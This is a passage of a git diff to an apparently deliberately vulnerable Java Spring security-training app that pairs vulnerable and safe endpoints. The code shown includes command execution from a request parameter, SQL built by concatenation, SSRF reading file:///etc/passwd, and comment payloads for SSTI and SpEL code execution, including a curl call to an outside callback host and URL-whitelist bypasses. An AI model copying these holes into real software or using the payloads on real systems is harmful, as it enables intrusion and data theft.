         File f = new File(imgFile);
-        if(f.exists() && !f.isDirectory()) {
-            byte[] data = Files.readAllBytes( Paths.get(imgFile) );
-            return new String( Base64.encodeBase64(data) );
+        if (f.exists() && !f.isDirectory()) {
+            byte[] data = Files.readAllBytes(Paths.get(imgFile));
+            return new String(Base64.encodeBase64(data));
         } else {
             return "File doesn't exist or is not a file.";
         }
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 983e3164..1bb1face 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,31 +1,27 @@
 package org.joychou.controller;
 
-import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
-import javax.servlet.http.HttpServletRequest;
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 
 /**
- * @author  JoyChou (joychou@joychou.org)
- * @date    2018.05.24
- * @desc    Java code execute
- * @fix     过滤造成命令执行的参数
+ * Java code execute
+ *
+ * @author JoyChou @ 2018-05-24
  */
-
-@Controller
+@RestController
 @RequestMapping("/rce")
 public class Rce {
 
     @RequestMapping("/exec")
     @ResponseBody
-    public String CommandExec(HttpServletRequest request) {
-        String cmd = request.getParameter("cmd").toString();
+    public String CommandExec(String cmd) {
         Runtime run = Runtime.getRuntime();
-        String lineStr = "";
+        StringBuilder sb = new StringBuilder();
 
         try {
             Process p = run.exec(cmd);
@@ -34,22 +30,20 @@ public String CommandExec(HttpServletRequest request) {
             String tmpStr;
 
             while ((tmpStr = inBr.readLine()) != null) {
-                lineStr += tmpStr + "\n";
-                System.out.println(tmpStr);
+                sb.append(tmpStr);
             }
 
             if (p.waitFor() != 0) {
                 if (p.exitValue() == 1)
-                    return "command exec failed";
+                    return "Command exec failed!!";
             }
 
             inBr.close();
             in.close();
         } catch (Exception e) {
-            e.printStackTrace();
             return "Except";
         }
-        return lineStr;
+        return sb.toString();
     }
 }
 
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index cf49a335..7ea518a5 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -16,7 +16,8 @@
 
 /**
  * SQL Injection
- * @author  JoyChou @2018.08.22
+ *
+ * @author JoyChou @2018.08.22
  */
 
 @SuppressWarnings("Duplicates")
@@ -47,39 +48,40 @@ public class SQLI {
      * @param username username
      */
     @RequestMapping("/jdbc/vuln")
-    public String jdbc_sqli_vul(@RequestParam("username") String username){
-        String result = "";
+    public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+        StringBuilder result = new StringBuilder();
+
         try {
             Class.forName(driver);
             Connection con = DriverManager.getConnection(url, user, password);
 
-            if(!con.isClosed())
-                System.out.println("Connecting to Database successfully.");
+            if (!con.isClosed())
+                System.out.println("Connect to database successfully.");
 
             // sqli vuln code
-             Statement statement = con.createStatement();
-             String sql = "select * from users where username = '" + username + "'";
-             logger.info(sql);
-             ResultSet rs = statement.executeQuery(sql);
+            Statement statement = con.createStatement();
+            String sql = "select * from users where username = '" + username + "'";
+            logger.info(sql);
+            ResultSet rs = statement.executeQuery(sql);
 
-            while(rs.next()){
+            while (rs.next()) {
                 String res_name = rs.getString("username");
                 String res_pwd = rs.getString("password");
-                result +=  res_name + ": " + res_pwd + "\n";
-                logger.info(res_name + ": " + res_pwd);
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
             }
             rs.close();
             con.close();
 
 
-        }catch (ClassNotFoundException e) {
+        } catch (ClassNotFoundException e) {
             logger.error("Sorry,can`t find the Driver!");
-        }catch (SQLException e) {
-            logger.error(e.toString());
-        }catch (Exception e) {
+        } catch (SQLException e) {
             logger.error(e.toString());
         }
-        return result;
+        return result.toString();
     }
 
 
@@ -90,42 +92,42 @@ public String jdbc_sqli_vul(@RequestParam("username") String username){
      * @param username username
      */
     @RequestMapping("/jdbc/sec")
-    public String jdbc_sqli_sec(@RequestParam("username") String username){
+    public String jdbc_sqli_sec(@RequestParam("username") String username) {
 
-        String result = "";
+        StringBuilder result = new StringBuilder();
         try {
             Class.forName(driver);
             Connection con = DriverManager.getConnection(url, user, password);
 
-            if(!con.isClosed())
+            if (!con.isClosed())
                 System.out.println("Connecting to Database successfully.");
 
             // fix code
             String sql = "select * from users where username = ?";
             PreparedStatement st = con.prepareStatement(sql);
             st.setString(1, username);
+
             logger.info(st.toString());  // sql after prepare statement
             ResultSet rs = st.executeQuery();
 
-            while(rs.next()){
+            while (rs.next()) {
                 String res_name = rs.getString("username");
                 String res_pwd = rs.getString("password");
-                result +=  res_name + ": " + res_pwd + "\n";
-                logger.info(res_name + ": " + res_pwd);
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
             }
 
             rs.close();
             con.close();
 
-        }catch (ClassNotFoundException e) {
-            logger.error("Sorry,can`t find the Driver!");
+        } catch (ClassNotFoundException e) {
+            logger.error("Sorry, can`t find the Driver!");
             e.printStackTrace();
-        }catch (SQLException e) {
-            logger.error(e.toString());
-        }catch (Exception e) {
+        } catch (SQLException e) {
             logger.error(e.toString());
         }
-        return result;
+        return result.toString();
     }
 
     /**
@@ -169,7 +171,6 @@ public User mybatisSec01(@RequestParam("username") String username) {
     }
 
     /**
-     * security code
      * http://localhost:8080/sqli/mybatis/sec02?id=1
      *
      * @param id id
@@ -181,9 +182,8 @@ public User mybatisSec02(@RequestParam("id") Integer id) {
 
 
     /**
-     * security code
      * http://localhost:8080/sqli/mybatis/sec03
-     **/
+     */
     @GetMapping("/mybatis/sec03")
     public User mybatisSec03() {
         return userMapper.OrderByUsername();
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 5b74049e..e9c30d0e 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,6 +1,5 @@
 package org.joychou.controller;
 
-import com.google.common.io.Files;
 import com.squareup.okhttp.OkHttpClient;
 import org.apache.commons.httpclient.HttpClient;
 import org.apache.commons.httpclient.methods.GetMethod;
@@ -12,6 +11,7 @@
 import org.apache.http.impl.client.CloseableHttpClient;
 import org.apache.http.impl.client.HttpClients;
 import org.joychou.security.SecurityUtil;
+import org.joychou.util.WebUtils;
 import org.jsoup.Jsoup;
 import org.jsoup.nodes.Document;
 import org.slf4j.Logger;
@@ -41,8 +41,7 @@ public class SSRF {
     private static Logger logger = LoggerFactory.getLogger(SSRF.class);
 
     @RequestMapping("/urlConnection")
-    public static String ssrf_URLConnection(@RequestParam String url)
-    {
+    public static String ssrf_URLConnection(@RequestParam String url) {
         try {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
@@ -55,7 +54,7 @@ public static String ssrf_URLConnection(@RequestParam String url)
             }
             in.close();
             return html.toString();
-        }catch(Exception e) {
+        } catch (Exception e) {
             logger.error(e.toString());
             return "fail";
         }
@@ -64,12 +63,11 @@ public static String ssrf_URLConnection(@RequestParam String url)
 
     @RequestMapping("/HttpURLConnection")
     @ResponseBody
-    public static String ssrf_httpURLConnection(@RequestParam String url)
-    {
+    public static String ssrf_httpURLConnection(@RequestParam String url) {
         try {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
-            HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
+            HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
             BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
             String inputLine;
             StringBuilder html = new StringBuilder();
@@ -79,7 +77,7 @@ public static String ssrf_httpURLConnection(@RequestParam String url)
             }
             in.close();
             return html.toString();
-        }catch(Exception e) {
+        } catch (Exception e) {
             logger.error(e.toString());
             return "fail";
         }
@@ -88,11 +86,10 @@ public static String ssrf_httpURLConnection(@RequestParam String url)
 
     @RequestMapping("/Request")
     @ResponseBody
-    public static String ssrf_Request(@RequestParam String url)
-    {
+    public static String ssrf_Request(@RequestParam String url) {
         try {
             return Request.Get(url).execute().returnContent().toString();
-        }catch(Exception e) {
+        } catch (Exception e) {
             logger.error(e.toString());
             return "fail";
         }
@@ -102,18 +99,18 @@ public static String ssrf_Request(@RequestParam String url)
     /**
      * Download the url file.
      * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
-     *
+     * <p>
      * new URL(String url).openConnection()
      * new URL(String url).openStream()
      * new URL(String url).getContent()
      */
     @RequestMapping("/openStream")
     @ResponseBody
-    public static void ssrf_openStream (@RequestParam String url, HttpServletResponse response) throws IOException {
+    public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
         InputStream inputStream = null;
         OutputStream outputStream = null;
         try {
-            String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+            String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
             // download
             response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
 
@@ -126,16 +123,15 @@ public static void ssrf_openStream (@RequestParam String url, HttpServletRespons
                 outputStream.write(bytes, 0, length);
             }
 
-        }catch (Exception e) {
+        } catch (Exception e) {
             logger.error(e.toString());
-        }finally {
+        } finally {
             if (inputStream != null) {
                 inputStream.close();
             }
             if (outputStream != null) {
                 outputStream.close();
             }
-
         }
     }
 
@@ -162,36 +158,41 @@ public static void ssrf_okhttp(@RequestParam String url) throws IOException {
 
 
     /**
-     * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com
+     * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com
      *
      * @return The response of url param.
      */
-    @RequestMapping("/HttpClient")
+    @RequestMapping("/HttpClient/sec")
     @ResponseBody
     public static String ssrf_HttpClient(@RequestParam String url) {
-        CloseableHttpClient client = HttpClients.createDefault();
-        HttpGet httpGet = new HttpGet(url);
+        StringBuilder result = new StringBuilder();
         try {
+            SecurityUtil.startSSRFHook();
+            CloseableHttpClient client = HttpClients.createDefault();
+            HttpGet httpGet = new HttpGet(url);
             HttpResponse httpResponse = client.execute(httpGet); // send request
             BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
-            StringBuilder result = new StringBuilder();
-            String line = null;
+
+            String line;
             while ((line = rd.readLine()) != null) {
                 result.append(line);
             }
+
+            // SecurityUtil.stopSSRFHook();
             return result.toString();
-        }catch (Exception e) {
-            e.printStackTrace();
-            return "fail";
-        }
 
+        } catch (Exception e) {
+            return e.toString();
+        } finally {
+            SecurityUtil.stopSSRFHook();
+        }
     }
 
 
     /**
      * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient
      * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish)
-     *
+     * <p>
      * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com
      */
     @RequestMapping("/commonsHttpClient/sec")
@@ -230,7 +231,7 @@ public static String commonsHttpClient(@RequestParam String url) {
 
     /**
      * jsoup是一款Java的HTML解析器，可直接解析某个URL地址、HTML文本内容。
-     *
+     * <p>
      * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com
      */
     @RequestMapping("/Jsoup")
@@ -279,14 +280,13 @@ public static String IOUtils(@RequestParam String url) {
     /**
      * Safe code.
      * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com
-     *
      */
     @RequestMapping("/ImageIO/sec")
     public static String ImageIOSec(@RequestParam String url) {
         try {
             URL u = new URL(url);
             if (!SecurityUtil.checkSSRFWithoutRedirect(url)) {
-                logger.error("[-] SSRF check failed. Original Url: "+ url);
+                logger.error("[-] SSRF check failed. Original Url: " + url);
                 return "SSRF check failed.";
             }
             ImageIO.read(u); // send request
diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java
index 70e7c7a6..0c44eb93 100644
--- a/src/main/java/org/joychou/controller/SSTI.java
+++ b/src/main/java/org/joychou/controller/SSTI.java
@@ -17,14 +17,14 @@ public class SSTI {
     /**
      * SSTI of Java velocity. The latest Velocity version still has this problem.
      * Fix method: Avoid to use Velocity.evaluate method.
-     *
+     * <p>
      * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
      * Open a calculator in MacOS.
      *
      * @param template exp
      */
     @GetMapping("/velocity")
-    private static void velocity(String template){
+    public void velocity(String template) {
         Velocity.init();
 
         VelocityContext context = new VelocityContext();
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 07be7d7e..6d06ffc7 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -20,18 +20,18 @@ public class SpEL {
      * xxx is urlencode(exp)
      * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
      */
-    @RequestMapping("/spel/vul")
-    private static String rce(String expression) {
+    @RequestMapping("/spel/vuln")
+    public String rce(String expression) {
         ExpressionParser parser = new SpelExpressionParser();
         // fix method: SimpleEvaluationContext
-        String result = parser.parseExpression(expression).getValue().toString();
-        return result;
+        return parser.parseExpression(expression).getValue().toString();
     }
 
-    public static void main(String[] args)  {
+    public static void main(String[] args) {
         ExpressionParser parser = new SpelExpressionParser();
         String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
         String result = parser.parseExpression(expression).getValue().toString();
+        System.out.println(result);
     }
 }
 
diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java
index 902b2269..8bc0d38b 100644
--- a/src/main/java/org/joychou/controller/Test.java
+++ b/src/main/java/org/joychou/controller/Test.java
@@ -5,7 +5,6 @@
 import org.springframework.web.bind.annotation.ResponseBody;
 
 import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 
 @Controller
@@ -14,7 +13,7 @@ public class Test {
 
     @RequestMapping(value = "/")
     @ResponseBody
-    private String Index(HttpServletResponse response, String empId) {
+    public String Index(HttpServletResponse response, String empId) {
 
         System.out.println(empId);
         Cookie cookie = new Cookie("XSRF-TOKEN", "123");
diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java
index d16f0ebb..2b96322e 100644
--- a/src/main/java/org/joychou/controller/URLRedirect.java
+++ b/src/main/java/org/joychou/controller/URLRedirect.java
@@ -10,14 +10,15 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
+
 import org.joychou.security.SecurityUtil;
 
 /**
  * The vulnerability code and security code of Java url redirect.
  * The security code is checking whitelist of url redirect.
  *
- * @author   JoyChou (joychou@joychou.org)
- * @version  2017.12.28
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2017.12.28
  */
 
 @Controller
@@ -38,7 +39,7 @@ public String redirect(@RequestParam("url") String url) {
      */
     @RequestMapping("/setHeader")
     @ResponseBody
-    public static void setHeader(HttpServletRequest request, HttpServletResponse response){
+    public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
         String url = request.getParameter("url");
         response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
         response.setHeader("Location", url);
@@ -50,7 +51,7 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res
      */
     @RequestMapping("/sendRedirect")
     @ResponseBody
-    public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{
+    public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
         String url = request.getParameter("url");
         response.sendRedirect(url); // 302 redirect
     }
@@ -64,10 +65,10 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse
     @ResponseBody
     public static void forward(HttpServletRequest request, HttpServletResponse response) {
         String url = request.getParameter("url");
-        RequestDispatcher rd =request.getRequestDispatcher(url);
-        try{
+        RequestDispatcher rd = request.getRequestDispatcher(url);
+        try {
             rd.forward(request, response);
-        }catch (Exception e) {
+        } catch (Exception e) {
             e.printStackTrace();
         }
     }
@@ -80,7 +81,7 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo
     @RequestMapping("/sendRedirect/sec")
     @ResponseBody
     public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)
-            throws IOException{
+            throws IOException {
         String url = request.getParameter("url");
         if (SecurityUtil.checkURL(url) == null) {
             response.setStatus(HttpServletResponse.SC_FORBIDDEN);
diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java
index f4638524..c4b04dc5 100644
--- a/src/main/java/org/joychou/controller/URLWhiteList.java
+++ b/src/main/java/org/joychou/controller/URLWhiteList.java
@@ -15,8 +15,8 @@
  * The vulnerability code and security code of Java url whitelist.
  * The security code is checking url whitelist.
  *
- * @author    JoyChou (joychou@joychou.org)
- * @version   2018.08.23
+ * @author JoyChou (joychou@joychou.org)
+ * @version 2018.08.23
  */
 
 @RestController
@@ -26,17 +26,17 @@ public class URLWhiteList {
 
     private String domainwhitelist[] = {"joychou.org", "joychou.com"};
     private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class);
+
     /**
      * bypass poc: bypassjoychou.org
      * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org
-     *
      */
     @GetMapping("/vuln/endsWith")
-    public String endsWith(@RequestParam("url") String url) throws Exception{
+    public String endsWith(@RequestParam("url") String url) throws Exception {
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
-        for (String domain: domainwhitelist){
+        for (String domain : domainwhitelist) {
             if (host.endsWith(domain)) {
                 return "Good url.";
             }
@@ -46,17 +46,17 @@ public String endsWith(@RequestParam("url") String url) throws Exception{
 
 
     /**
-     * bypass poc: joychou.org.bypass.com or bypassjoychou.org.
+     * It's the same with <code>indexOf</code>.
+     * <p>
      * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
      * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
-     *
      */
     @GetMapping("/vuln/contains")
-    public String contains(@RequestParam("url") String url) throws Exception{
+    public String contains(@RequestParam("url") String url) throws Exception {
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
-        for (String domain: domainwhitelist){
+        for (String domain : domainwhitelist) {
             if (host.contains(domain)) {
                 return "Good url.";
             }
@@ -68,10 +68,9 @@ public String contains(@RequestParam("url") String url) throws Exception{
     /**
      * bypass poc: bypassjoychou.org. It's the same with endsWith.
      * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
-     *
      */
     @GetMapping("/vuln/regex")
-    public String regex(@RequestParam("url") String url) throws Exception{
+    public String regex(@RequestParam("url") String url) throws Exception {
         URL u = new URL(url);
         String host = u.getHost().toLowerCase();
 
@@ -86,34 +85,16 @@ public String regex(@RequestParam("url") String url) throws Exception{
 
 
     /**
-     * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains.
-     * http://localhost:8080/url/vuln/indexOf?url=http://joychou.org.bypass.com http://bypassjoychou.org
-     *
-     */
-    @GetMapping("/vuln/indexOf")
-    public String indexOf(@RequestParam("url") String url) throws Exception{
-        URL u = new URL(url);
-        String host = u.getHost();
-
-        // If indexOf returns -1, it means that no string was found.
-        for (String domain: domainwhitelist){
-            if (host.indexOf(domain) != -1) {
-                return "Good url.";
-            }
-        }
-        return "Bad url.";
-    }
-
-    /**
-     * The bypass of using java.net.URL to getHost.
-     *
+     * The bypass of using <code>java.net.URL</code> to getHost.
+     * <p>
      * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
      * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
-     *
-     * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+     * <p>
+     * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
      */
     @GetMapping("/vuln/url_bypass")
-    public String url_bypass(@RequestParam("url") String url) throws Exception{
+    public String url_bypass(String url) throws Exception {
+
         logger.info("url:  " + url);
         URL u = new URL(url);
 
@@ -125,7 +106,7 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{
         logger.info("host:  " + host);
 
         // endsWith .
-        for (String domain: domainwhitelist){
+        for (String domain : domainwhitelist) {
             if (host.endsWith("." + domain)) {
                 return "Good url.";
             }
@@ -135,14 +116,12 @@ public String url_bypass(@RequestParam("url") String url) throws Exception{
     }
 
 
-
     /**
      * 一级域名白名单 First-level host whitelist.
      * http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
-     *
      */
     @GetMapping("/sec/endswith")
-    public String sec_endswith(@RequestParam("url") String url) throws Exception{
+    public String sec_endswith(@RequestParam("url") String url) throws Exception {
 
         String whiteDomainlists[] = {"joychou.org", "joychou.com"};
 
@@ -154,7 +133,7 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{
         String host = uri.getHost().toLowerCase();
 
         // endsWith .
-        for (String domain: whiteDomainlists){
+        for (String domain : whiteDomainlists) {
             if (host.endsWith("." + domain)) {
                 return "Good url.";
             }
@@ -166,10 +145,9 @@ public String sec_endswith(@RequestParam("url") String url) throws Exception{
     /**
      * 多级域名白名单 Multi-level host whitelist.
      * http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
-     *
      */
     @GetMapping("/sec/multi_level_host")
-    public String sec_multi_level_host(@RequestParam("url") String url) throws Exception{
+    public String sec_multi_level_host(@RequestParam("url") String url) throws Exception {
         String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
 
         URI uri = new URI(url);
@@ -179,7 +157,7 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
         String host = uri.getHost().toLowerCase();
 
         // equals
-        for (String domain: whiteDomainlists){
+        for (String domain : whiteDomainlists) {
             if (host.equals(domain)) {
                 return "Good url.";
             }
@@ -191,10 +169,9 @@ public String sec_multi_level_host(@RequestParam("url") String url) throws Excep
     /**
      * 多级域名白名单 Multi-level host whitelist.
      * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
-     *
      */
     @GetMapping("/sec/array_indexOf")
-    public String sec_array_indexOf(@RequestParam("url") String url) throws Exception{
+    public String sec_array_indexOf(@RequestParam("url") String url) throws Exception {
 
         // Define muti-level host whitelist.
         ArrayList<String> whiteDomainlists = new ArrayList<>();
diff --git a/src/main/java/org/joychou/controller/XSS.java b/src/main/java/org/joychou/controller/XSS.java
index 68e89c0c..1c4b8732 100644
--- a/src/main/java/org/joychou/controller/XSS.java
+++ b/src/main/java/org/joychou/controller/XSS.java
@@ -26,8 +26,7 @@ public class XSS {
      */
     @RequestMapping("/reflect")
     @ResponseBody
-    public static String reflect(String xss)
-    {
+    public static String reflect(String xss) {
         return xss;
     }
 
@@ -40,8 +39,7 @@ public static String reflect(String xss)
      */
     @RequestMapping("/stored/store")
     @ResponseBody
-    public String store(String xss, HttpServletResponse response)
-    {
+    public String store(String xss, HttpServletResponse response) {
         Cookie cookie = new Cookie("xss", xss);
         response.addCookie(cookie);
         return "Set param into cookie";
@@ -56,19 +54,17 @@ public String store(String xss, HttpServletResponse response)
      */
     @RequestMapping("/stored/show")
     @ResponseBody
-    public String show(@CookieValue("xss") String xss)
-    {
+    public String show(@CookieValue("xss") String xss) {
         return xss;
     }
 
     /**
      * safe Code.
      * http://localhost:8080/xss/safe
-     *
      */
     @RequestMapping("/safe")
     @ResponseBody
-    public static String safe(String xss){
+    public static String safe(String xss) {
         return encode(xss);
     }
 
diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java
index 20b96147..62616e95 100644
--- a/src/main/java/org/joychou/controller/XStreamRce.java
+++ b/src/main/java/org/joychou/controller/XStreamRce.java
@@ -21,14 +21,14 @@ public class XStreamRce {
      * @author JoyChou @2019-07-26
      */
     @PostMapping("/xstream")
-    public String parseXml(HttpServletRequest request) throws Exception{
+    public String parseXml(HttpServletRequest request) throws Exception {
         String xml = WebUtils.getRequestBody(request);
         XStream xstream = new XStream(new DomDriver());
         xstream.fromXML(xml);
         return "xstream";
     }
 
-    public static void main(String[] args) throws Exception {
+    public static void main(String[] args) {
         User user = new User();
         user.setId(0);
         user.setUsername("admin");
@@ -37,7 +37,7 @@ public static void main(String[] args) throws Exception {
         String xml = xstream.toXML(user); // Serialize
         System.out.println(xml);
 
-        user = (User)xstream.fromXML(xml); // Deserialize
-        System.out.println(user.getId() + ": " + user.getUsername() );
+        user = (User) xstream.fromXML(xml); // Deserialize
+        System.out.println(user.getId() + ": " + user.getUsername());
     }
 }
diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java
index 1de059ce..f9a4c7fc 100644
--- a/src/main/java/org/joychou/controller/XXE.java
+++ b/src/main/java/org/joychou/controller/XXE.java
@@ -5,6 +5,7 @@
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.web.bind.annotation.*;
+
 import javax.servlet.http.HttpServletRequest;
 
 import org.w3c.dom.Document;
@@ -12,13 +13,16 @@
 import org.w3c.dom.NodeList;
 import org.xml.sax.helpers.XMLReaderFactory;
 import org.xml.sax.XMLReader;
+
 import java.io.*;
+
 import org.xml.sax.InputSource;
 
 import javax.xml.parsers.DocumentBuilder;
 import javax.xml.parsers.DocumentBuilderFactory;
 import javax.xml.parsers.SAXParserFactory;
 import javax.xml.parsers.SAXParser;
+
 import org.xml.sax.helpers.DefaultHandler;
 import org.apache.commons.digester3.Digester;
 import org.jdom2.input.SAXBuilder;
@@ -34,7 +38,7 @@
 @RequestMapping("/xxe")
 public class XXE {
 
-    private static Logger logger= LoggerFactory.getLogger(XXE.class);
+    private static Logger logger = LoggerFactory.getLogger(XXE.class);
     private static String EXCEPT = "xxe except";
 
     @RequestMapping(value = "/xmlReader/vuln", method = RequestMethod.POST)
@@ -235,14 +239,14 @@ public String DocumentBuilderVuln01(HttpServletRequest request) {
             Document document = db.parse(is);  // parse xml
 
             // 遍历xml节点name和value
-            StringBuffer buf = new StringBuffer();
+            StringBuilder buf = new StringBuilder();
             NodeList rootNodeList = document.getChildNodes();
             for (int i = 0; i < rootNodeList.getLength(); i++) {
                 Node rootNode = rootNodeList.item(i);
                 NodeList child = rootNode.getChildNodes();
                 for (int j = 0; j < child.getLength(); j++) {
                     Node node = child.item(j);
-                    buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
+                    buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                 }
             }
             sr.close();
@@ -268,7 +272,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) {
             Document document = db.parse(is);  // parse xml
 
             // 遍历xml节点name和value
-            StringBuffer result = new StringBuffer();
+            StringBuilder result = new StringBuilder();
             NodeList rootNodeList = document.getChildNodes();
             for (int i = 0; i < rootNodeList.getLength(); i++) {
                 Node rootNode = rootNodeList.item(i);
@@ -277,8 +281,7 @@ public String DocumentBuilderVuln02(HttpServletRequest request) {
                     Node node = child.item(j);
                     // 正常解析XML，需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
                     if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
-                        result.append(node.getNodeName() + ": " +
-                                node.getFirstChild().getNodeValue() + "\n");
+                        result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
                     }
                 }
             }
@@ -329,17 +332,7 @@ public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
             Document document = db.parse(is);  // parse xml
 
             NodeList rootNodeList = document.getChildNodes();
-
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList xxe = rootNode.getChildNodes();
-                for (int j = 0; j < xxe.getLength(); j++) {
-                    Node xxeNode = xxe.item(j);
-                    // 测试不能blind xxe，所以强行加了一个回显
-                    logger.info("xxeNode: " + xxeNode.getNodeValue());
-                }
-
-            }
+            response(rootNodeList);
 
             sr.close();
             return "DocumentBuilder xinclude xxe vuln code";
@@ -362,23 +355,14 @@ public String DocumentBuilderXincludeSec(HttpServletRequest request) {
             dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+
             DocumentBuilder db = dbf.newDocumentBuilder();
             StringReader sr = new StringReader(body);
             InputSource is = new InputSource(sr);
             Document document = db.parse(is);  // parse xml
 
             NodeList rootNodeList = document.getChildNodes();
-
-            for (int i = 0; i < rootNodeList.getLength(); i++) {
-                Node rootNode = rootNodeList.item(i);
-                NodeList xxe = rootNode.getChildNodes();
-                for (int j = 0; j < xxe.getLength(); j++) {
-                    Node xxeNode = xxe.item(j);
-                    // 测试不能blind xxe，所以强行加了一个回显
-                    logger.info("xxeNode: " + xxeNode.getNodeValue());
-                }
-
-            }
+            response(rootNodeList);
 
             sr.close();
         } catch (Exception e) {
@@ -437,7 +421,7 @@ public String XMLReaderSec(HttpServletRequest request) {
      */
     @PostMapping("/DocumentHelper/vuln")
     public String DocumentHelper(HttpServletRequest req) {
-        try{
+        try {
             String body = WebUtils.getRequestBody(req);
             DocumentHelper.parseText(body); // parse xml
         } catch (Exception e) {
@@ -448,7 +432,21 @@ public String DocumentHelper(HttpServletRequest req) {
         return "DocumentHelper xxe vuln code";
     }
 
-    public static void main(String[] args) throws Exception {
+
+    private static void response(NodeList rootNodeList){
